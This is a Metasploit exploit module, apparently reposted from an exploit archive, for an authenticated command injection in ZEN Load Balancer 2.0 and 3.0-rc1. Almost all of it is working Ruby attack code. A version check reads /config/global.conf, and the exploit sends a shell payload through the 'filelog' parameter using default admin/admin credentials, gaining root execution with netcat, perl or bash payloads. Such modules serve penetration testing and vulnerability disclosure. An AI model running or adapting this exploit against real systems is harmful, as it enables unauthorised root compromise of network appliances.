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ZEN Load Balancer Filelog Command Execution

ZEN Load Balancer Filelog Command Execution
Posted Sep 22, 2012
Authored by Brendan Coles | Site metasploit.com

This Metasploit module exploits a vulnerability in ZEN Load Balancer version 2.0 and 3.0-rc1 which could be abused to allow authenticated users to execute arbitrary code under the context of the 'root' user. The 'content2-2.cgi' file uses user controlled data from the 'filelog' parameter within backticks.

tags | exploit, arbitrary, cgi, root
SHA-256 | 00bb887bb0df418300d4b44bcb42abfdd700d3c405ec1e719a786661df083664

ZEN Load Balancer Filelog Command Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "ZEN Load Balancer Filelog Command Execution",
'Description' => %q{
This module exploits a vulnerability in ZEN Load Balancer
version 2.0 and 3.0-rc1 which could be abused to allow authenticated users
to execute arbitrary code under the context of the 'root' user.
The 'content2-2.cgi' file uses user controlled data from the 'filelog'
parameter within backticks.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
],
'References' =>
[
['URL', 'http://itsecuritysolutions.org/2012-09-21-ZEN-Load-Balancer-v2.0-and-v3.0-rc1-multiple-vulnerabilities/']
],
'DefaultOptions' =>
{
'ExitFunction' => 'none'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat-e perl bash',
}
},
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => true,
'DisclosureDate' => "Sep 14 2012",
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(444),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('USERNAME', [true, 'The username for the application', 'admin']),
OptString.new('PASSWORD', [true, 'The password for the application', 'admin'])
], self.class)
end

def check

@peer = "#{rhost}:#{rport}"

# retrieve software version from config file
print_status("#{@peer} - Sending check")
begin
res = send_request_cgi({
'uri' => '/config/global.conf'
})

if res and res.code == 200 and res.body =~ /#version ZEN\s+\$version=\"(2|3\.0\-rc1)/
return Exploit::CheckCode::Appears
elsif res and res.code == 200 and res.body =~ /zenloadbalancer/
return Exploit::CheckCode::Detected
end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{@peer} - Connection failed")
end
return Exploit::CheckCode::Unknown

end

def exploit

@peer = "#{rhost}:#{rport}"
user = datastore['USERNAME']
pass = datastore['PASSWORD']
auth = Rex::Text.encode_base64("#{user}:#{pass}")
cmd = Rex::Text.uri_encode(";#{payload.encoded}&")
lines = rand(100) + 1

# send payload
print_status("#{@peer} - Sending payload (#{payload.encoded.length} bytes)")
begin
res = send_request_cgi({
'uri' => "/index.cgi?nlines=#{lines}&action=See+logs&id=2-2&filelog=#{cmd}",
'headers' =>
{
'Authorization' => "Basic #{auth}"
}
}, 25)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Exploit::Failure::Unreachable, 'Connection failed')
rescue
fail_with(Exploit::Failure::Unknown, 'Sending payload failed')
end

if res and res.code == 401
fail_with(Exploit::Failure::NoAccess, 'Authentication failed')
end

end

end
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